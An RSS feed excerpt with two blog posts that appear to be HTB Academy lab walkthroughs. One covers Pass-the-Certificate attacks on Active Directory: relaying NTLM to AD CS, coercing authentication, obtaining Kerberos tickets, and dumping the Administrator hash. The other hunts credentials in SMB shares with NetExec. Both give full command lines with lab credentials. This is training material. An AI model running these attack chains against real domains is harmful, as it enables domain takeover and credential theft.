        </item>
        <item>
            <title><![CDATA[Unmasking Credentials: A Deep Dive into Pass-the-Certificate Attacks]]></title>
            <link>https://medium.com/@ravsau00/unmasking-credentials-a-deep-dive-into-pass-the-certificate-attacks-8c001943e5fc?source=rss-5b4a4cfce0d9------2</link>
            <guid isPermaLink="false">https://medium.com/p/8c001943e5fc</guid>
            <category><![CDATA[hackthebox-writeup]]></category>
            <category><![CDATA[hackthebox]]></category>
            <category><![CDATA[hackthebox-walkthrough]]></category>
            <category><![CDATA[active-directory]]></category>
            <dc:creator><![CDATA[Sau Rav]]></dc:creator>
            <pubDate>Tue, 24 Jun 2025 13:52:31 GMT</pubDate>
            <atom:updated>2025-06-24T13:52:31.721Z</atom:updated>
            <content:encoded><![CDATA[<p>HTB Academy <br>Password Attacks | Pass the Certificate</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*FkbCfQ8Zxq9leU01g1GK-Q.png" /></figure><p>Hello, fellow cybersecurity enthusiasts! Today, we’re going to explore a fascinating and powerful attack technique in Active Directory environments: <strong>Pass-the-Certificate</strong>. This method, leveraging the Kerberos extension PKINIT, allows us to gain Ticket Granting Tickets (TGTs) using X.509 certificates, opening doors to further compromise. We’ll walk through two primary attack paths: an NTLM Relay against Active Directory Certificate Services (AD CS) and exploiting Shadow Credentials.</p><p>This write-up is inspired by the excellent content from HTB Academy, specifically the “Password Attacks” module, with our targets being 10.129.234.9 (ACADEMY-PWATTCK-PTCDC01) and 10.129.234.10 (ACADEMY-PWATTCK-PTCCA01).</p><h3>Understanding the Foundation: PKINIT and Pass-the-Certificate</h3><p>Before we dive into the practical steps, let’s briefly recap the core concepts.</p><p><strong>PKINIT (Public Key Cryptography for Initial Authentication)</strong> is an extension to the Kerberos protocol. It enables the use of public key cryptography during the initial authentication exchange, often seen in scenarios like smart card logons where private keys are stored securely.</p><p><strong>Pass-the-Certificate</strong> is the technique that exploits PKINIT. It refers to using valid X.509 certificates to successfully obtain a Ticket Granting Ticket (TGT). This method is particularly effective when coupled with attacks against Active Directory Certificate Services (AD CS) or in what are known as Shadow Credential attacks.</p><h3>Attack Path 1: AD CS NTLM Relay (ESC8)</h3><p>This attack targets an AD CS HTTP endpoint, specifically the web enrollment service. AD CS typically hosts an application at /CertSrv for web enrollment, often over HTTP by default.</p><p>Our goal here is to relay an NTLM authentication to this service and trick it into issuing a certificate for a machine account, in our case, a Domain Controller.</p><p><strong>Step 1: Setting up the NTLM Relay</strong></p><p>We’ll use impacket-ntlmrelayx to listen for incoming connections and relay them to the web enrollment service.</p><pre>impacket-ntlmrelayx -t http://10.129.234.110/certsrv/certfnsh.asp --adcs -smb2support --template KerberosAuthentication</pre><p><strong>Note:</strong> To ensure impacket-ntlmrelayx writes the PKCS#12 certificate (.pfx) directly to a file (e.g., ./DC01$.pfx), it&#39;s crucial to use impacket version 0.12.0 or higher. Older versions might only generate a base64 representation of the certificate. The --template KerberosAuthentication specifies the certificate template typically used by Domain Controllers for authentication. This can be enumerated with tools like certipy in other environments.</p><p><strong>Step 2: Coercing Authentication (Printer Bug)</strong></p><p>While impacket-ntlmrelayx is listening, we need to force a machine account to authenticate against our attacker machine. The &quot;printer bug&quot; is a common way to achieve this, provided the targeted machine account has the Printer Spooler service running.</p><pre>python3 printerbug.py INLANEFREIGHT.LOCAL/wwhite:&quot;package5shores_topher1&quot;@10.129.234.109 10.10.16.12</pre><p>After executing the printerbug.py command, observe your impacket-ntlmrelayx window. You should see output indicating a successful relay and the generation of the ./DC01$.pfx file. This .pfx file contains the certificate issued for DC01$. Here 10.10.16.12 is the ip of your Virtual machine.</p><h3>Obtaining the TGT with gettgtpkinit.py</h3><p>With the DC01$.pfx certificate in hand, we can now perform the actual Pass-the-Certificate attack to obtain a TGT for DC01$. We&#39;ll leverage the PKINITtools suite.</p><p>First, let’s set up the necessary environment:</p><pre>git clone https://github.com/dirkjanm/PKINITtools.git &amp;&amp; cd PKINITtools<br>python3 -m venv .venv<br>source .venv/bin/activate<br>pip3 install -r requirements.txt</pre><p><strong>Troubleshooting Note:</strong> If you encounter an “Error detecting the version of libcrypto”, it’s usually due to a missing oscrypto library. You can fix this by installing it:</p><pre>pip3 install -I git+https://github.com/wbond/oscrypto.git</pre><p>Now, let’s load the certificate and key from the .pfx file and request the TGT:</p><pre>python3 gettgtpkinit.py -cert-pfx ../krbrelayx/DC01\$.pfx -dc-ip 10.129.234.109 &#39;inlanefreight.local/dc01$&#39; /tmp/dc.ccache</pre><p>A successful execution will save the TGT to /tmp/dc.ccache.</p><h3>Post-Exploitation: DCSync Attack</h3><p>Once we have a TGT for a Domain Controller’s machine account, we’re in Pass-the-Ticket (PtT) territory. This grants us powerful capabilities, such as performing a DCSync attack to retrieve NTLM hashes of domain accounts, including the coveted domain administrator.</p><p>First, set the KRB5CCNAME environment variable to point to our newly acquired TGT:</p><pre>export KRB5CCNAME=/tmp/dc.ccache</pre><p><strong>Important Note:</strong> If you ran impacket or gettgtpkinit within a Python virtual environment, you might need to run this export command outside of that venv for impacket-secretsdump to pick it up correctly.</p><p>Now, execute the impacket-secretsdump command:</p><pre>impacket-secretsdump -k -no-pass -dc-ip 10.129.234.109 -just-dc-user Administrator &#39;INLANEFREIGHT.LOCAL/DC01$&#39;@DC01.INLANEFREIGHT.LOCAL</pre><p>This command should output the domain credentials, including the NTLM hash of the Administrator account.</p><p><strong>Troubleshooting Administrator Credentials:</strong></p><p>If you encounter any issues in getting the administrator credentials, ensure your /etc/hosts file properly resolves the Domain Controller&#39;s hostname:</p><pre>sudo nano etc/hosts</pre><p>Add the following entry:</p><pre>10.129.234.109 DC01.INLANEFREIGHT.LOCAL DC01</pre><p>With the administrator’s credentials (specifically the NTLM hash from the DCSync), you can then proceed with “Pass the Hash” techniques, for example, using evil-winrm to achieve remote command execution. This brings us to answering typical lab questions that involve authenticating as the administrator.</p><h3>Attack Path 2: Shadow Credentials (msDS-KeyCredentialLink)</h3><p>Shadow Credentials is another potent Active Directory attack that exploits the msDS-KeyCredentialLinkattribute of a victim user. This attribute is designed to store public keys used for PKINIT authentication. If an attacker has write permissions over this attribute (often indicated by the AddKeyCredentialLink edge in BloodHound), they can add their own public key and effectively &quot;take control&quot; of that user.</p><p>We’ll use pywhisker to perform this attack from a Linux system. The command below generates an X.509 certificate and writes the public key to the victim user&#39;s msDS-KeyCredentialLink attribute:</p><pre>pywhisker --dc-ip 10.129.234.109 -d INLANEFREIGHT.LOCAL -u wwhite -p &#39;package5shores_topher1&#39; --target jpinkman --action add</pre><p>The output of pywhisker will show that a PFX (PKCS12) file was created (e.g., eFUVVTPf.pfx) along with its password. This PFX file contains the generated certificate and private key.</p><p>Next, we’ll use this PFX file with gettgtpkinit.py to acquire a TGT for our victim, jpinkman:</p><pre>python3 gettgtpkinit.py -cert-pfx ../eFUVVTPf.pfx -pfx-pass &#39;bmRH4LK7UwPrAOfvIx6W&#39; -dc-ip 10.129.234.109 INLANEFREIGHT.LOCAL/jpinkman /tmp/jpinkman.ccache</pre><p>This will save jpinkman&#39;s TGT to /tmp/jpinkman.ccache.</p><h3>Passing the Ticket with evil-winrm</h3><p>With the TGT obtained for jpinkman, we can once again &quot;pass the ticket&quot; to authenticate as the victim user.</p><pre>export KRB5CCNAME=/tmp/jpinkman.ccache</pre><p><strong>(Remember: This </strong><strong>export command should be run outside your Python virtual environment if you&#39;re using one for other tools.)</strong></p><p>Finally, we can use evil-winrm to connect to the Domain Controller as jpinkman:</p><pre>evil-winrm -i dc01.inlanefreight.local -r inlanefreight.local</pre><p>You should now be logged in as inlanefreight\jpinkman within the Evil-WinRM shell.</p><p><strong>Crucial Configuration Note for </strong><strong>evil-winrm and Kerberos:</strong></p><p>For evil-winrm to work correctly with Kerberos authentication, your /etc/krb5.conf file must be properly configured. Open it with sudo nano /etc/krb5.conf:</p><pre>sudo nano /etc/krb5.conf</pre><p>And add the following configuration:</p><pre>[libdefaults]<br>    default_realm = INLANEFREIGHT.LOCAL<br>    dns_lookup_realm = false<br>    dns_lookup_kdc = false</pre><pre>[realms]<br>    INLANEFREIGHT.LOCAL = {<br>        kdc = 10.129.234.109<br>    }</pre><pre>[domain_realm]<br>    .inlanefreight.local = INLANEFREIGHT.LOCAL<br>    inlanefreight.local = INLANEFREIGHT.LOCAL</pre><h3>Conclusion</h3><p>The “Pass-the-Certificate” technique is a potent addition to an attacker’s arsenal, especially when targeting Active Directory environments. By understanding how to abuse AD CS NTLM relay vulnerabilities or leverage Shadow Credentials, we can obtain critical TGTs and further our penetration testing objectives. Always remember that knowledge of these attack vectors is crucial for both offense and defense, allowing us to build more resilient systems.</p><p>Stay curious and keep hacking responsibly!</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=8c001943e5fc" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[PASSWORD ATTACKS : Credential Hunting in Network Shares]]></title>
            <link>https://medium.com/@ravsau00/password-attacks-credential-hunting-in-network-shares-5bd37d2b120d?source=rss-5b4a4cfce0d9------2</link>
            <guid isPermaLink="false">https://medium.com/p/5bd37d2b120d</guid>
            <category><![CDATA[hackthebox-walkthrough]]></category>
            <category><![CDATA[hackthebox-writeup]]></category>
            <category><![CDATA[hackthebox]]></category>
            <category><![CDATA[netexec]]></category>
            <dc:creator><![CDATA[Sau Rav]]></dc:creator>
            <pubDate>Sat, 21 Jun 2025 06:27:50 GMT</pubDate>
            <atom:updated>2025-06-21T07:03:46.718Z</atom:updated>
            <content:encoded><![CDATA[<h4>PASSWORD ATTACKS : Credential Hunting in Network Shares</h4><p>HTB Academy</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*xvX-bN87_ksmbP349tEfqQ.png" /></figure><p>In this guide, we’ll walk through a powerful technique using <strong>NetExec (nxc)</strong> and its spider_plus module to automate this process, recursively searching for and downloading files from accessible SMB shares.</p><p>While exploring options for this task, I found that tools like PowerHuntShares often didn&#39;t provide the necessary detailed information or comprehensive recursive scanning I needed. This led me to <strong>NetExec (nxc)</strong>, a more robust and versatile solution. In this guide, we&#39;ll walk through a powerful technique using NetExec and its spider_plus module to automate this process, recursively searching for and downloading files from accessible SMB shares.</p><h3>Step 1: Initiating the Spider_Plus Scan</h3><p>The core of this technique lies in the spider_plus module. This module is designed to recursively find all accessible files and folders on shared drives and, optionally, download them.</p><p>Here’s the command we’ll use:</p><p>Bash</p><pre>nxc smb &lt;Target Ip&gt; -u mendres -p Inlanefreight2025! -M spider_plus -o DOWNLOAD_FLAG=True --smb-timeout 60</pre><p>Let’s break down what each part of this command does:</p><ul><li><strong>nxc smb &lt;Target Ip&gt;</strong>: This specifies that we&#39;re using NetExec to connect to a target Windows machine (at &lt;Target Ip&gt;) via its SMB (file sharing) service.</li><li><strong>-u mendres -p Inlanefreight2025!</strong>: We&#39;re authenticating to the SMB share using the username mendres and the password Inlanefreight2025!. <strong>Remember to replace these with your actual target credentials.</strong></li><li><strong>-M spider_plus</strong>: This tells NetExec to execute the spider_plus module.</li><li><strong>-o DOWNLOAD_FLAG=True</strong>: This crucial option instructs spider_plus to download all found files to our local machine. This is incredibly useful for offline analysis.</li><li><strong>--smb-timeout 60</strong>: We&#39;re setting a 60-second timeout for SMB operations. This can be adjusted based on network conditions and target responsiveness.</li></ul><p><strong>Patience is Key!</strong> This process can take a significant amount of time, especially on targets with large file systems. Hold still and let NetExec do its work.</p><h3>Step 2: Navigating to the Downloaded Files</h3><p>Once the spider_plus scan is complete, NetExec will have created a subdirectory containing all the downloaded files. This directory is conveniently named after the target IP address.</p><p>To access these files, navigate to the following directory:</p><p>Bash</p><pre>cd /tmp/nxc_hosted/nxc_spider_plus/&lt;target-IP&gt;</pre><p><strong>Note</strong>: Replace &lt;target-IP&gt; with the actual IP address of your target machine.</p><h3>Step 3: Starting Your Credential Hunt!</h3><p>Now that you have a local copy of the target’s SMB shares, it’s time to start digging for sensitive information, particularly credentials. A common way to do this is by searching for keywords like “password.”</p><p>We’ll use the grep command for a powerful and recursive search:</p><p>Bash</p><pre>grep -ri &quot;passw&quot; .</pre><p>Here’s a breakdown of this grep command:</p><ul><li><strong>grep</strong>: The command-line utility for searching plain-text data sets for lines that match a regular expression.</li><li><strong>-r (recursive)</strong>: This option tells grep to search directories recursively.</li><li><strong>-i (ignore case)</strong>: This makes the search case-insensitive, so it will match &quot;password&quot;, &quot;Password&quot;, &quot;PASSW&quot;, etc.</li><li><strong>&quot;passw&quot;</strong>: The pattern we are searching for. We&#39;re using &quot;passw&quot; to catch variations like &quot;password,&quot; &quot;passwords,&quot; or &quot;passwd.&quot;</li><li><strong>.</strong>: This specifies that the search should be conducted in the current directory (which is your &lt;target-IP&gt; download directory) and its subdirectories.</li></ul><h3>Finding the First Credential</h3><p>Using the above grep command, you might find something similar to this:</p><pre>./IT/Tools/split_tunnel.txt:# Auth backup password: INLANEFREIGHT\jbader:*</pre><p>Bingo! This looks like a set of credentials for the user jbader.</p><h3>Step 4: Iterating with New Credentials</h3><p>The beauty of this method is its iterative nature. Once you find new credentials, you can repeat the entire process, using the newly discovered credentials to potentially access more shares or escalate privileges.</p><p><strong>For the second question in your scenario, you’ll repeat the same </strong><strong>nxc smb command, but this time using the </strong><strong>jbadercredentials you just found.</strong></p><h3>Hint for the Second Credential</h3><p>The second credential, in this specific scenario, is located in:</p><pre>./HR/Confidential/Onboarding_Docs_132.txt</pre><p>Keep hunting, and happy pivoting!</p><h3>Troubleshooting Common Pitfalls: The Manspider Memory Issue</h3><p>During my reconnaissance, I encountered a significant hurdle while attempting to use MANSPIDER for similar purposes. It&#39;s a common issue that can plague tools reliant on heavy compilation processes, especially within virtualized environments.</p><p><strong>The Problem:</strong> The extractous package, a critical dependency of MANSPIDER, isn&#39;t a straightforward Rust package. It leverages <strong>GraalVM Native Image</strong> to compile Java code (specifically, Apache Tika, which extractous wraps) into a native shared library.</p><p>Compiling with GraalVM Native Image is <strong>extremely memory-intensive</strong>. I repeatedly faced the error “The Native Image build process ran out of memory,” accompanied by an exit code 137. An exit code of 137 is a classic indicator that the Out-of-Memory (OOM) killer terminated the process, confirming a severe lack of available RAM.</p><p>This issue was particularly prevalent as my Parrot OS was running within a UTM virtual machine. Virtual machines, by default, often allocate minimal memory unless explicitly configured otherwise. extractous&#39;s build process itself suggested needing &quot;2.89GB of memory (75.6% of 3.82GB system memory, determined at start).&quot; This meant it attempted to consume nearly 3GB of RAM from a VM with only about 3.8GB allocated, which simply wasn&#39;t sufficient for the compilation to complete successfully.</p><p><strong>The Solution:</strong> The resolution was to <strong>increase the RAM allocated to my Parrot OS VM in UTM</strong>. By providing the virtual machine with ample memory, the extractous compilation could proceed without being terminated by the OOM killer, allowing MANSPIDER to function as intended. This highlights a crucial point for anyone running memory-intensive tools in virtualized environments: always ensure your VM has sufficient resources.</p><h4><strong>Connect me:</strong></h4><p><a href="https://www.linkedin.com/in/sau-rav-18350b260/">https://www.linkedin.com/in/sau-rav-18350b260/</a></p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=5bd37d2b120d" width="1" height="1" alt="">]]></content:encoded>
        </item>
    </channel>
</rss>